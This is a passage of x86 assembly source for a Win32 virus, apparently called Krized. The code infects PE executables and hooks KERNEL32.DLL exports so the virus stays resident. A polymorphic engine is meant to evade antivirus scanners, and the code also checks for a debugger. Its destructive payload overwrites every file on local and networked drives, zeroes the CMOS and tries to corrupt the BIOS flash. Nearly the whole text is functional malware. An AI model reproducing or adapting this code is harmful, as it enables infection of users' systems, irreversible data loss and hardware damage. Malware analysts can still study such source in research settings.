INC EAX ; Ack, error.
JZ Clear_Tracks
DEC EAX ; Restore return value.
PUSH EAX
PUSH EBX
AND AL, NOT 00000001b ; Readonly my ass..
PUSH EAX ; Strip readonly-flag.
PUSH EBX
PUSH ixSetFileAttributesA
INT 03h
OR EAX, EAX ; Test for error.
JZ Restore_Attr
PUSH ESI ; Open the candidate-file.
PUSH FILE_ATTRIBUTE_NORMAL
PUSH OPEN_EXISTING
PUSH ESI
PUSH ESI
PUSH GENERIC_READ OR GENERIC_WRITE
PUSH EBX
PUSH ixCreateFileA
INT 03h
MOV [EBP+(File_Handle-START)], EAX
INC EAX ; Error?
JZ Restore_Attr
MOV EAX, [EBP+(Global_Handle-START)]
ADD EAX, (Time_Last_Write-Virus_End)
PUSH EAX
PUSH EAX ; Fetch it's time-stamps.
SUB EAX, 8
PUSH EAX
SUB EAX, 8
PUSH EAX
PUSH DWORD PTR [EBP+(File_Handle-START)]
PUSH ixGetFileTime
INT 03h
PUSH ESI ; Map whole file.
PUSH ESI
PUSH ESI
PUSH PAGE_READONLY
PUSH ESI ; Standard security.
PUSH DWORD PTR [EBP+(File_Handle-START)]
PUSH ixCreateFileMappingA
INT 03h
OR EAX, EAX ; Error?
JZ Restore_Stamp
MOV [EBP+(Map_Handle-START)], EAX
PUSH ESI
PUSH ESI
PUSH ESI
PUSH FILE_MAP_READ
PUSH DWORD PTR [EBP+(Map_Handle-START)]
PUSH ixMapViewOfFile
INT 03h
OR EAX, EAX ; Error?
JZ Close_Mapping
MOV [EBP+(Map_Address-START)], EAX
XCHG EBX, EAX
PUSH ESI
PUSH DWORD PTR [EBP+(File_Handle-START)]
PUSH ixGetFileSize
INT 03h
CMP EAX, 4096 ; Avoid too small files.
JB Abort_Checks
CMP [EBX.MZ_Mark], 'ZM' ; It must be an .EXE-file.
JNE Abort_Checks
CMP [EBX.MZ_Reloc_Table], 40h ; External header present?
JB Abort_Checks
ADD EBX, [EBX+3Ch] ; Obtain pointer PE-header.
CMP [EBX.PE_Mark], 'EP' ; PE-header is really there?
JNE Abort_Checks
; Only infect 80386/80486/80586-files.
CMP [EBX.CPU_Type], 14Ch ; 80386 compatibility?
JB Abort_Checks
CMP [EBX.CPU_Type], 14Eh ; 80586 compatibility?
JA Abort_Checks
CMP BYTE PTR [EBP+(Infect_Mode-START)], 0
JZ Check_Our_Mark
; Don't infect non-K32 DLL's.
TEST BYTE PTR [EBX.PE_Flags+1], 00100000b
JNZ Abort_Checks
Check_Our_Mark: XCHG EDI, EAX
MOVZX EAX, [EBX.Object_Count]
DEC EAX
PUSH 40
POP ECX
MUL ECX
MOVZX EDX, [EBX.NT_Header_Size]
LEA EDX, [EBX+24+EDX]
ADD EDX, EAX
MOV AL, BYTE PTR [EDX.Section_Flags+3]
AND AL, 11010000b ; Strip all but our own
; flags.
CMP AL, 11010000b ; Already infected? (R/W/S).
JE Abort_Checks
; Calculate physical size after infection.
MOV EAX, [EDX.Section_Physical_Offset]
ADD EAX, [EDX.Section_Physical_Size]
ADD EAX, Virus_Size + Poly_Size
MOV ECX, [EBX.File_Align]
CALL Align_EAX
CMP EAX, EDI ; Host increases in size?
JAE Set_Inf_Size
XCHG EDI, EAX ; Don't resize if not.
Set_Inf_Size: MOV [EBP+(Infected_Size-START)], EAX
INC ESI ; Mark as a valid candidate.
JNS Abort_Checks
DB 0EAh ; Just a lame anti-?
Abort_Checks: PUSH DWORD PTR [EBP+(Map_Address-START)]
PUSH ixUnmapViewOfFile
INT 03h
PUSH DWORD PTR [EBP+(Map_Handle-START)]
PUSH ixCloseHandle
INT 03h
DEC ESI ; Valid host?
JNZ Restore_Stamp
PUSH ESI
PUSH DWORD PTR [EBP+(Infected_Size-START)]
PUSH ESI
PUSH PAGE_READWRITE
PUSH ESI ; Standard security.
PUSH DWORD PTR [EBP+(File_Handle-START)]
PUSH ixCreateFileMappingA
INT 03h
OR EAX, EAX
JZ Restore_Stamp
MOV [EBP+(Map_Handle-START)], EAX
PUSH ESI
PUSH ESI
PUSH ESI
PUSH FILE_MAP_WRITE
PUSH DWORD PTR [EBP+(Map_Handle-START)]
PUSH ixMapViewOfFile
INT 03h
MOV [EBP+(Map_Address-START)], EAX
OR EAX, EAX ; Error?
JZ Close_Mapping
XCHG EDI, EAX ; Base of mapped candidate.
MOV EBX, [EDI+3Ch] ; PE-header of our candidate.
ADD EBX, EDI
MOVZX EAX, [EBX.Object_Count] ; Calculate offset of last
DEC EAX ; object-header.
PUSH 40
POP ECX
MUL ECX
; Size of formatted header.
MOVZX EDX, [EBX.NT_Header_Size]
LEA EDI, [EBX+24+EDX]
PUSH EDI ; Start object-headers.
ADD EDI, EAX ; Last object-header.
MOV EAX, [EDI.Section_Physical_Size]
PUSH EAX
ADD EAX, Virus_Size + Poly_Size
MOV ECX, [EBX.File_Align]
CALL Align_EAX
MOV ESI, EAX
XCHG [EDI.Section_Physical_Size], EAX
ADD EAX, [EDI.Section_RVA]
PUSH EAX
MOV EAX, [EDI.Section_Virtual_Size]
ADD EAX, (Virus_Size + Poly_Size) - 1
MOV ECX, [EBX.Object_Align]
Calc_Virt_Size: INC EAX
CALL Align_EAX
CMP EAX, ESI
JB Calc_Virt_Size
MOV [EDI.Section_Virtual_Size], EAX
ADD EAX, [EDI.Section_RVA]
MOV [EBX.Image_Size], EAX
POP EAX
POP ECX
ADD ECX, [EDI.Section_Physical_Offset]
ADD ECX, [EBP+(Map_Address-START)]
MOV EDX, EAX
XCHG [EBX.EIP_RVA], EAX
CALL Poly_Engine ; Lame poly-layer.
POP EDX
; Krized used to add a new section to the host, but unfortunately most NT
; files (including K32) don't have room for an extra object-header, this
; more or less forced me to use the append-to-the-last-section-method,
; which could technically cause instabilities.
; Readable/writeable/shareable.
OR BYTE PTR [EDI.Section_Flags+3], 11010000b
XOR ECX, ECX
; We're infecting KERNEL32.DLL ?
CMP [EBP+(Infect_Mode-START)], CL
JNZ Init_Succesful
; Screw K32's build-time to force the loader
; to patch executable's bound imports with our
; hooked API-addresses in K32's export-table,
; instead of using hardcoded addresses.
INC [EBX.PE_Date_Time]
; Notify DLL of PROCESS_ATTACH, this is always
; done regardless of these flags, but I rather
; waste some bytes playing safe.
OR BYTE PTR [EBX.DLL_Flags], 00000001b
; Now change the exports of K32 to point
; to the virus' own handlers.
LEA ESI, [EBP+(Hook_Exports-START)]
CLD
Hook_Export: LODSD ; Get array entry in export.
XCHG EDI, EAX
; Convert the RVA to a physical address.
Find_RVA: MOV EAX, [EDX.Section_RVA]
ADD EAX, [EDX.Section_Virtual_Size]
CMP EDI, EAX ; RVA is in section's space?
JB Calculate_Phys
ADD EDX, 40 ; Next section.
JMP Find_RVA
Calculate_Phys: SUB EDI, [EDX.Section_RVA]
ADD EDI, [EDX.Section_Physical_Offset]
MOVZX EAX, WORD PTR [EBP+(Dispatch_API-START)+(ECX*2)]
ADD EAX, 12345678h
New_Virus_RVA = DWORD PTR $-4
ADD EDI, [EBP+(Map_Address-START)]
STOSD
Cont_Hook_Loop: INC ECX
CMP CL, Hook_API_Count ; Did 'em all?
JB Hook_Export
MOV ESI, [EBP+(Global_Handle-START)]
; Attemp to register a file-update to replace the
; original KERNEL32.DLL with the infected one at
; the next boot-up.
PUSH MOVEFILE_DELAY_UNTIL_REBOOT OR MOVEFILE_REPLACE_EXISTING
LEA EAX, [ESI+(Clean_K32_Path-Virus_End)]
PUSH EAX
LEA EAX, [ESI+(Infected_K32_Path-Virus_End)]
PUSH EAX
PUSH ixMoveFileExA
INT 03h
OR EAX, EAX ; Successful?
JNZ Init_Succesful
PUSH ixGetLastError ; Get extended error-
INT 03h ; information.
; Access denied or function not available?
CMP EAX, ERROR_ACCESS_DENIED
JE Unmap_View
; Else do it the Win9x-way...
CALL @2
DB 'WININIT.INI', 0
@2: LEA EAX, [ESI+(Infected_K32_Path-Virus_End)]
PUSH EAX
LEA EAX, [ESI+(Clean_K32_Path-Virus_End)]
PUSH EAX
CALL @3
DB 'rename', 0
@3: PUSH ixWritePrivateProfileStringA
INT 03h
XCHG ECX, EAX ; Fuck, user doesn't seem
JECXZ Unmap_View ; to have admin-priviliges.
Init_Succesful: XOR EDX, EDX
MOV BYTE PTR [EBP+(Clear_Tracks_Sw-START)], (Free_Global_M-Clear_Tracks_Sw) - 1
CMP [EBP+(Infect_Mode-START)], DL
JNZ Test_Checksum
MOV BYTE PTR [EBP+(Clear_Tracks_Sw-START)], (Reboot_Test-Clear_Tracks_Sw) - 1
Test_Checksum: CMP [EBX.PE_Checksum], EDX ; This file is checksummed?
JZ Unmap_View
; Check out CheckSumMappedFile and notice how it uses an
; entirely different algorithm, as usual, weird stuph..
MOV [EBX.PE_Checksum], EDX
MOV ESI, [EBP+(Map_Address-START)]
MOV ECX, 12345678h
Infected_Size = DWORD PTR $-4
SHR ECX, 1 ; Words.
Checksum_Loop: MOVZX EAX, WORD PTR [ESI]
ADD EDX, EAX
MOV EAX, EDX
AND EDX, 0FFFFh ; Convert to 16-bit word.
SHR EAX, 16
ADD EDX, EAX
INC ESI
INC ESI
LOOP Checksum_Loop
MOV EAX, EDX
SHR EAX, 16
ADD AX, DX
ADD EAX, [EBP+(Infected_Size-START)]
MOV [EBX.PE_Checksum], EAX
Unmap_View: PUSH 12345678h
Map_Address = DWORD PTR $-4
PUSH ixUnmapViewOfFile
INT 03h
Close_Mapping: PUSH 12345678h
Map_Handle = DWORD PTR $-4
PUSH ixCloseHandle
INT 03h
Restore_Stamp: POP EAX ; Restore file's original
; time-stamps.
PUSH EAX
SUB EAX, 8
PUSH EAX
SUB EAX, 8
PUSH EAX
PUSH DWORD PTR [EBP+(File_Handle-START)]
PUSH ixSetFileTime
INT 03h
Close_File: PUSH 12345678h ; And finally close the file.
File_Handle = DWORD PTR $-4
PUSH ixCloseHandle
INT 03h
; Restore the file's original attributes.
Restore_Attr: CMP BYTE PTR [EBP+(Clear_Tracks_Sw-START)], 0
JNZ Set_Attributes
; Trash-copy must be deletable.
AND BYTE PTR [ESP+(1*4)], NOT 00000001b
Set_Attributes: PUSH ixSetFileAttributesA
INT 03h
; If something went wrong while in the process of infecting
; an KERNEL32.DLL-copy, clean up our trash by deleting it.
Clear_Tracks: JMP $
Clear_Tracks_Sw = BYTE PTR $-1
PUSH 12345678h ; Delete KRIZED.TT6 in the
Offset_Inf_K32 = DWORD PTR $-4 ; system-directory.
PUSH ixDeleteFileA
INT 03h
JMP Free_Global_M
; Here we initialize the virus to reboot the system if it has been
; running for over approximately 3 days. Server-systems often run
; for years constantly, and our virus can't become resident until
; the next system-boot, hence this routine.
Reboot_Test: PUSH ixGetTickCount ; Retrieve tickcount since
INT 03h ; Windoze was started.
OR EAX, EAX ; Less than approximately
JNS Free_Global_M ; 3 days?
CALL @4 ; Load USER32.DLL as we need
DB 'USER32', 0 ; one of it's functions.
@4: PUSH ixLoadLibraryA
INT 03h
CALL @5 ; Retrieve API-address.
DB 'ExitWindowsEx', 0
@5: PUSH EAX
PUSH ixGetProcAddress
INT 03h
; Store the address for later use.
MOV [EBP+(ExitWindowsEx-START)], EAX
Free_Global_M: PUSH 12345678h ; Free our global allocated
Global_Handle = DWORD PTR $-4 ; memory.
PUSH ixGlobalFree
INT 03h
Rest_Inf_SEH: XOR EAX, EAX ; Unhook our SEH.
POP DWORD PTR FS:[EAX]
POP EBX
POPAD ; Restore reggies..
RET ; And we're done.
; Some humble poly-engine, it builds decryptors with random registers
; peppered with some simple junk. It won't keep-out the average AV,
; but it's effective enough against public-domain AV-scanners based on
; pure signature-scanning.
; So get me an official opcode list and I'll throw out the lame table-
; driven polymorphics :P
Poly_Engine:
PUSHAD
PUSH EAX
Gen_Decryptor: MOV EDI, [ESP+(7*4)] ; ECX on entry.
PUSH 13 ; Pick a DWORD stacker.
POP EAX
CALL Get_Random
MOV AL, [EBP+(PUSH_Reg32-START)+EAX]
STOSB
MOV AL, 9Ch ; PUSHFD
STOSB
MOV AL, 60h ; PUSHAD
STOSB
CALL Add_Garbage
MOV AL, 0E8h ; CALL
STOSB
MOV AL, 10
CALL Get_Random
INC EAX
STOSD
MOV ESI, EDI
XCHG ECX, EAX
Add_Random: MOV EAX, ESP
CALL Get_Random
STOSB
LOOP Add_Random
PUSH 7
POP EAX
CALL Get_Random
XCHG EBX, EAX
MOV AL, [EBP+(POP_Reg32-START)+EBX]
STOSB
CALL Get_Free_Reg
XCHG EDX, EAX
CALL Add_Garbage
MOV AL, [EBP+(MOV_Reg32-START)+EDX] ; MOV Cntr_Reg
STOSB
MOV AX, Virus_Size
STOSD
CALL Add_Garbage
MOV [EBP+(Decrypt_Loop-START)], EDI
CALL Add_Garbage
MOV AL, 0FFh
CALL Get_Random
JP Construct_XOR ; 1/2 chance of including DS:
MOV AL, 3Eh ; DS:
STOSB
Construct_XOR: MOV AL, 80h
STOSB
MOV AL, [EBP+(XOR_Ptr_Reg32-START)+EBX]
STOSB
MOV [EBP+(Patch_Delta-START)], EDI
MOV AX, Virus_Size-1
STOSD
Get_Random_Key: CALL Get_Random
OR AL, AL
JZ Get_Random_Key
STOSB
PUSH EAX
CALL Add_Garbage
MOV AL, [EBP+(DEC_Reg32-START)+EBX]
STOSB
CALL Add_Garbage
MOV AL, [EBP+(DEC_Reg32-START)+EDX]
STOSB
MOV AL, 75h ; JNZ
STOSB
MOV EAX, EDI
SUB EAX, 12345678h
Decrypt_Loop = DWORD PTR $-4
NOT EAX
STOSB
POP EDX
MOV EAX, EDI
SUB EAX, ESI
ADD DS:[12345678h], EAX
Patch_Delta = DWORD PTR $-4
MOV EAX, EDI ; Calculate size decryptor.
SUB EAX, [ESP+(7*4)]
CMP EAX, 140 ; Too large? Start over then.
JNB Gen_Decryptor
CMP AL, 120 ; Too small? Ditto.
JB Gen_Decryptor
PUSH EDI
MOV ESI, EBP
MOV CX, Virus_Size
REP MOVSB
ADD EAX, [ESP+(7*4)] ; EDX at entry.
MOV [EBP+(New_Virus_RVA-START)], EAX
MOV [EDI+(Virus_RVA-START)-Virus_Size], EAX
POP EAX
SUB EAX, [EBP+(Patch_Delta-START)]
SUB EAX, 4
NEG EAX
MOV [EDI+(Patch_Decrypt-START)-Virus_Size], EAX
MOV [EDI+(Busy_Switch-START)-Virus_Size], CL
MOV WORD PTR [EDI+(Unicode_Switch-START)-Virus_Size], 90ACh
MOV [EDI+(Delay_Timer-START)-Virus_Size], CL
MOV BYTE PTR [EDI+(Init_Mode-START)-Virus_Size], (CALL_Setup_SEH-Init_Mode) - 1
CMP [EBP+(Infect_Mode-START)], CL
JNZ POP_New_EIP
MOV [EDI+(Init_Mode-START)-Virus_Size], CL
POP_New_EIP: POP DWORD PTR [EDI+(Host_EIP-START)-Virus_Size]
MOV ECX, Virus_Size
Encrypt_Virus: DEC EDI
XOR [EDI], DL
LOOP Encrypt_Virus
POPAD
RET
Add_Garbage:
PUSH 8
POP EAX
CALL Get_Random
INC EAX
XCHG ECX, EAX
Add_Junk: PUSH ECX
PUSH 5
POP EAX
CALL Get_Random
JZ End_Junk_Loop
DEC EAX
JZ Junk_ADD_Reg32
DEC EAX
JZ Junk_DEC_Reg32
Junk_MOV_Reg32: CALL Get_Free_Reg
MOV AL, [EBP+(MOV_Reg32-START)+EAX]
STOSB
MOV EAX, ESP
CALL Get_Random
STOSD
JMP End_Junk_Loop
Junk_DEC_Reg32: CALL Get_Free_Reg
MOV AL, [EBP+(DEC_Reg32-START)+EAX]
STOSB
JMP End_Junk_Loop
Junk_ADD_Reg32: MOV AL, 81h
STOSB
CALL Get_Free_Reg
MOV AL, [EBP+(ADD_Reg32-START)+EAX]
STOSB
MOV EAX, ESP
CALL Get_Random
STOSD
End_Junk_Loop: POP ECX
LOOP Add_Junk
XOR EAX, EAX
RET
Get_Free_Reg:
PUSH 7
POP EAX
CALL Get_Random
CMP EAX, EBX
JE Get_Free_Reg
CMP EAX, EDX
JE Get_Free_Reg
RET
Align_EAX:
XOR EDX, EDX
DIV ECX
OR EDX, EDX
JZ Calc_Aligned
INC EAX
Calc_Aligned: MUL ECX
RET
Get_Delta:
CALL Get_EIP
Get_EIP: POP EBP
SUB EBP, (Get_EIP-START)
RET
Hook_CopyFileA:
MOV AL, ixCopyFileA
JMP Main_Dispatch
Hook_CreateFileA:
MOV AL, ixCreateFileA
JMP Main_Dispatch
Hook_CreateProcessA:
MOV AL, ixCreateProcessA
JMP Main_Dispatch
Hook_DeleteFileA:
MOV AL, ixDeleteFileA
JMP Main_Dispatch
Hook_GetFileAttributesA:
MOV AL, ixGetFileAttributesA
JMP Main_Dispatch
Hook_MoveFileA:
MOV AL, ixMoveFileA
JMP Main_Dispatch
Hook_MoveFileExA:
MOV AL, ixMoveFileExA
JMP Main_Dispatch
Hook_SetFileAttributesA:
MOV AL, ixSetFileAttributesA
JMP Main_Dispatch
Hook_CopyFileW:
MOV AL, ixCopyFileW
JMP Main_Dispatch
Hook_CreateFileW:
MOV AL, ixCreateFileW
JMP Main_Dispatch
Hook_CreateProcessW:
MOV AL, ixCreateProcessW
JMP Main_Dispatch
Hook_DeleteFileW:
MOV AL, ixDeleteFileW
JMP Main_Dispatch
Hook_GetFileAttributesW:
MOV AL, ixGetFileAttributesW
JMP Main_Dispatch
Hook_MoveFileW:
MOV AL, ixMoveFileW
JMP Main_Dispatch
Hook_MoveFileExW:
MOV AL, ixMoveFileExW
JMP Main_Dispatch
Hook_SetFileAttributesW:
MOV AL, ixSetFileAttributesW
Main_Dispatch: PUSH ESI
PUSH EBP
AND EAX, 000000FFh
CALL Get_Delta
JMP $
Busy_Switch = BYTE PTR $-1
; Set busy-flag to prevent re-entrancy.
MOV BYTE PTR [EBP+(Busy_Switch-START)], (Do_Old_Handler-Busy_Switch) - 1
; LODSB / NOP
MOV WORD PTR [EBP+(Unicode_Switch-START)], 90ACh
CMP AL, 08 ; Unicode function?
JB Do_Infect
; LODSW
MOV WORD PTR [EBP+(Unicode_Switch-START)], 0AD66h
Do_Infect: MOV ESI, [ESP+(3*4)] ; Infect the sucker.
CALL Infect_File
; Clear busy-flag.
MOV [EBP+(Busy_Switch-START)], AH
Do_Old_Handler: MOV EAX, [EBP+(API_Addresses-START)+(EAX*4)]
SUB EBP, [EBP+(Virus_RVA-START)]
ADD EAX, EBP
POP EBP
POP ESI
JMP EAX ; JMP to the original API.
Perform_API:
PUSH 0
Work_API_Index = BYTE PTR $-1
POP EAX
CMP [EBP+(Init_Mode-START)], AH
MOV EAX, [EBP+(API_Addresses-START)+(EAX*4)]
JZ Calc_K32_Base
Use_Init_Base: ADD EAX, 12345678h
K32_Base = DWORD PTR $-4
JMP EAX
Calc_K32_Base: ADD EAX, EBP
SUB EAX, [EBP+(Virus_RVA-START)]
JMP EAX
; ESI = ASCIIZ / returns AX = CRC16.
Calculate_CRC16:
PUSH EDX
PUSH ESI
PUSH 0FFFFFFFFh
POP EDX
CLD
Load_Character: LODSB
OR AL, AL
JZ Exit_Calc_CRC
XOR DL, AL
MOV AL, 8
CRC_Byte: SHR EDX, 1
JNC Loop_CRC_Byte
XOR EDX, 0EDB88320h
Loop_CRC_Byte: DEC AL
JNZ CRC_Byte
JMP Load_Character
Exit_Calc_CRC: XCHG EDX, EAX
POP ESI
POP EDX
RET
; Activates the payload if the current date is
; December 25th or when Soft-Ice is detected.
Check_For_Payload:
PUSHAD
; Try to detect the presence of Soft-Ice
; version 3.xx & 4.xx (9x/NT).
XOR EBX, EBX
PUSH EBX ; Soft-Ice's 9x driver is
PUSH EBX ; present?
PUSH OPEN_EXISTING
PUSH EBX
PUSH EBX
PUSH EBX
CALL @6
DB '\\.\SICE', 0
@6: PUSH ixCreateFileA
INT 03h
INC EAX ; Immediate retaliation!
JNZ Payload
PUSH EBX ; Soft-Ice's NT driver is
PUSH EBX ; present?
PUSH OPEN_EXISTING
PUSH EBX
PUSH EBX
PUSH EBX
CALL @7
DB '\\.\NTICE', 0
@7: PUSH ixCreateFileA
INT 03h
INC EAX ; Immediate retaliation!
JNZ Payload
MOV ESI, (Local_Time-Virus_End)
ADD ESI, [EBP+(Global_Handle-START)]
PUSH ESI
PUSH ixGetLocalTime
INT 03h
CMP BYTE PTR [ESI.Current_Month], 12
JNE Exit_Check_PL
CMP BYTE PTR [ESI.Current_Day], 25
JNE Exit_Check_PL
; Most likely we aren't yet connected to the network so it's
; better to wait some time before we start destroying.
INC BYTE PTR [EBP+(Delay_Timer-START)]
JZ Payload
Exit_Check_PL: POPAD
RET
Delay_Timer DB 0
; Let's get ready to r0ck..
Payload:
CALL Setup_Nuke_SEH
CALL Get_Delta
XOR EBX, EBX
MOV ESP, [ESP+(2*4)]
JMP Rest_Nuke_SEH
Setup_Nuke_SEH: PUSH DWORD PTR FS:[EBX]
MOV FS:[EBX], ESP
PUSH EAX ; Obtain IDT.
SIDT [ESP-2]
POP EAX
; Our ring-0 INT exception-handler.
LEA ECX, [EBP+(Ring0_Handler-START)]
XCHG [EAX+(3*8)], CX ; Set our own ring-0 handler.
ROR ECX, 16
XCHG [EAX+(3*8)+6], CX
INT 03h ; Raise ring-0 exception.
MOV [EAX+(3*8)+6], CX ; Restore original handler.
ROR ECX, 16
MOV [EAX+(3*8)], CX
Rest_Nuke_SEH: POP DWORD PTR FS:[EBX] ; Restore original SEH.
POP EAX
MOV EDI, [EBP+(Global_Handle-START)] ; Kill-list.
PUSH EDI
CALL @8 ; Load network-library.
DB 'MPR', 0
@8: PUSH ixLoadLibraryA
INT 03h
XCHG ECX, EAX ; Error?
JECXZ JECXZ_Enum_L
MOV EBX, ECX ; Save base in EBX.
CALL @9
DB 'WNetOpenEnumA', 0
@9: PUSH EBX
PUSH ixGetProcAddress
INT 03h
XCHG ECX, EAX
JECXZ Enum_Locals
MOV [EBP+(WNetOpenEnumA-START)], ECX
CALL @10
DB 'WNetEnumResourceA', 0
@10: PUSH EBX
PUSH ixGetProcAddress
INT 03h
XCHG ECX, EAX
JECXZ_Enum_L: JECXZ Enum_Locals
MOV [EBP+(WNetEnumResourceA-START)], ECX
CALL @11 ; Retrieve a find handle
Enum_Handle DD 0 ; to the system root.
@11: PUSH 0
PUSH 0
PUSH RESOURCETYPE_DISK
PUSH RESOURCE_CONNECTED
CALL [EBP+(WNetOpenEnumA-START)]
OR EAX, EAX
JNZ Enum_Locals
; Enumerate all active network-connections.
Retrieve_Enum: LEA ESI, [EBP+(Net_Resource-START)]
CALL @12
Buffer_Size DD 666
@12: PUSH ESI
CALL @13
Enum_Count DD 1
@13: PUSH DWORD PTR [EBP+(Enum_Handle-START)]
CALL [EBP+(WNetEnumResourceA-START)]
OR EAX, EAX
JNZ Enum_Locals
MOV ESI, [ESI+(5*4)] ; Found remote name.
CLD
Copy_Target: LODSB ; Copy the remote name to
STOSB ; our kill-list.
OR AL, AL ; Did the entire ASCIIZ ?
JNZ Copy_Target
JMP Retrieve_Enum
Enum_Locals: POP ESI ; Array of network-drives.
PUSH EDI ; Append local drives.
PUSH 256
PUSH ixGetLogicalDriveStringsA
INT 03h
Drive_Loop: PUSH ESI ; What kind of disk is this?
PUSH ixGetDriveTypeA
INT 03h
CMP AL, DRIVE_REMOVABLE ; Skip floppy-drives.
JE Find_Next_Str
CMP AL, DRIVE_CDROM ; Skip CD-ROM's.
JE Find_Next_Str
CMP AL, DRIVE_RAMDISK ; Skip RAM-disks.
JE Find_Next_Str
CALL_Trash_Dir: CALL Trash_Directory ; Trash the root including
; all it's sub-directories.
Find_Next_Str: CLD ; Fetch next byte.
LODSB
OR AL, AL ; Found the end of ASCIIZ ?
JNZ Find_Next_Str
CMP [ESI], AL
JNZ Drive_Loop ; Thank you DRIVE through :P
JMP $ ; Heart stops..
;-----------------------------------
; Overwrites all bytes in all files
; in all directories on all drives.
;-----------------------------------
Trash_Directory:
PUSHAD
SUB ESP, (318+260+2) ; Reserve space on the stack,
; note that ESP must always
; point to a DWORD boundary.
LEA EAX, [ESP+318] ; Save our current directory.
PUSH EAX
PUSH 260
PUSH ixGetCurrentDirectoryA
INT 03h
CMP EAX, 260 ; Too big for our buffer?
JA JNZ_Exit_Trash
XCHG ECX, EAX ; Or the function failed?
JECXZ JNZ_Exit_Trash
PUSH ESI ; Change to found directory.
PUSH ixSetCurrentDirectoryA
INT 03h
DEC EAX ; Argh! something went wrong!
JNZ_Exit_Trash: JNZ Exit_Trash_Dir
XCHG EBX, EAX ; EBX = 0.
PUSH ESP ; Find us a victim.
CALL @14
DB '*.*', 0 ; Kill 'em all!
@14: PUSH ixFindFirstFileA
INT 03h
MOV EDI, EAX
INC EAX
JZ Close_Find
Destroy_Loop: LEA ESI, [ESP.FFN_File_Name]
; Is it a directory?
TEST BYTE PTR [ESP.File_Attributes], 00010000b
JZ Trash_File
CMP WORD PTR [ESI], '.' ; Fuck for '.'...
JE Find_Next_Crap
CMP WORD PTR [ESI], '..' ; Or '..'.
JNE Do_Trash_Dir
CMP [ESI+2], BL ; /0.
JZ Find_Next_Crap
Do_Trash_Dir: CALL Trash_Directory
JMP Find_Next_Crap
Trash_File: PUSH FILE_ATTRIBUTE_NORMAL ; Clear all it's attributes.
PUSH ESI
PUSH ixSetFileAttributesA
INT 03h
XCHG ECX, EAX
JECXZ Find_Next_Crap
PUSH EBX ; Open the target.
PUSH FILE_ATTRIBUTE_NORMAL
PUSH OPEN_EXISTING
PUSH EBX
PUSH EBX
PUSH GENERIC_WRITE
PUSH ESI
PUSH ixCreateFileA
INT 03h
MOV ESI, EAX
INC EAX
JZ Find_Next_Crap
PUSH EBX ; Get it's filesize.
PUSH ESI
PUSH ixGetFileSize
INT 03h
; K, time to say ur prares..
PUSH EBX ; Nuke the S.O.B.
CALL @15
DD 0DEADBEEFh
@15: PUSH EAX
PUSH 444444h
PUSH ESI
PUSH ixWriteFile
INT 03h
; Wasted, time to seal the tomb..
PUSH ESI
PUSH ixCloseHandle
INT 03h
Find_Next_Crap: PUSH ESP
PUSH EDI
PUSH ixFindNextFileA
INT 03h
DEC EAX
JZ Destroy_Loop
Close_Find: PUSH EDI ; Close filehandle.
PUSH ixFindClose
INT 03h
LEA EAX, [ESP+318] ; Restore original directory.
PUSH EAX
PUSH ixSetCurrentDirectoryA
INT 03h
Exit_Trash_Dir: ADD ESP, (318+260+2) ; Clean-up our stackspace.
POPAD
RET
;-------------------------------------------------------
; Overwrite CMOS and attempt to flash the BIOS chipset.
;-------------------------------------------------------
Ring0_Handler:
PUSHFD
PUSHAD
CLI
MOV CL, 64 ; Take all 64 bytes of CMOS.
Nuke_CMOS_Byte: DEC CL ; We've did 'em all?
JS Nuke_BIOS
MOV AL, CL ; Request I/O to byte CL.
OUT 70h, AL
XOR AL, AL ; Trash the byte.
OUT 71h, AL
JMP Nuke_CMOS_Byte ; Repeat until all is done.
; The CIH BIOS-flasher should work on every Intel-board
; out there, which are becoming increasingly common.
; I have fully commented Pascal sources of how to flash
; Intel and other boards, available on request.
Nuke_BIOS: ; Show BIOS Page in 000E0000 - 000EFFFF (64k).
MOV EDI, 8000384Ch
MOV BP, 0CF8h
MOV DX, 0CFEh
CALL IOForEEPROM
; Show BIOS Page in 000F0000 - 000FFFFF (64k).
MOV DI, 0058h
DEC EDX
MOV WORD PTR [EBP+(Switch-START)], 0F24h ; AND AL, 0Fh
CALL IOForEEPROM
; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; * ( 512 Bytes ) *
; * , and the Section *
; * of Extra BIOS can *
; * be Writted... *
; ***********************
MOV EAX, 0E5555h
MOV ECX, 0E2AAAh
CALL EnableEEPROMToWrite
MOV BYTE PTR [EAX], 60h
PUSH ECX
LOOP $
; Destroy BIOS Extra ROM Data in 000E0000h - 000E007Fh, (80h bytes).
XOR AH, AH
MOV WORD PTR [EAX], 'RI' ; Dare yew go TU :P
XCHG ECX, EAX
LOOP $
; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; * ( 128 KB ) *
; * can be Writted... *
; ***********************
MOV EAX, 0F5555h
POP ECX
MOV CH, 0AAh
CALL EnableEEPROMToWrite
MOV BYTE PTR [EAX], 20h
LOOP $
; Destroy BIOS Main ROM Data in 000FE000h - 000FE07Fh (80h bytes).
MOV AH, 0E0h
MOV [EAX], AL
; Hide BIOS Page in 000F0000 - 000FFFFF (64k).
MOV WORD PTR [EBP+(Switch-START)], 100Ch ; or al,10h
CALL IOForEEPROM
POPAD
POPFD
IRETD
; Enable EEPROM to Write.
EnableEEPROMToWrite:
MOV [EAX], CL
MOV [ECX], AL
MOV BYTE PTR [EAX], 80h
MOV [EAX], CL
MOV [ECX], AL
RET
; I/O for EEPROM.
IOForEEPROM:
XCHG EDI, EAX
XCHG EDX, EBP
OUT DX, EAX
XCHG EDI, EAX
XCHG EDX, EBP
IN AL, DX
OR AL, 44h
Switch = WORD PTR $-2
XCHG EDI, EAX
XCHG EDX, EBP
OUT DX, EAX
XCHG EDI, EAX
XCHG EDX, EBP
OUT DX, AL
RET
; Returns random number between 0 and EAX-1.
Get_Random:
PUSHAD
XCHG EBX, EAX
PUSH ixGetTickCount
INT 03h
RCL EAX, 2
ADD EAX, 12345678h
Random_Seed = DWORD PTR $-4
ADC EAX, ESP
XOR EAX, ECX
XOR [EBP+(Random_Seed-START)], EAX
ADD EAX, [ESP-(13*4)]
RCL EAX, 1
XOR EDX, EDX
DIV EBX
ADD [EBP+(Random_Seed-START)], EDX
MOV [ESP+(7*4)], EDX
POPAD
OR EAX, EAX
RET
KERNEL32_Name DB '\KERNEL32.DLL', 0
Infected_K32 DB '\KRIZED.TT6', 0
API_Addresses: DD (Work_API_Count + Hook_API_Count) DUP(0)
Hook_Exports: DD Hook_API_Count DUP(0)
; EAX EBX ECX EDX ESI EDI EBP
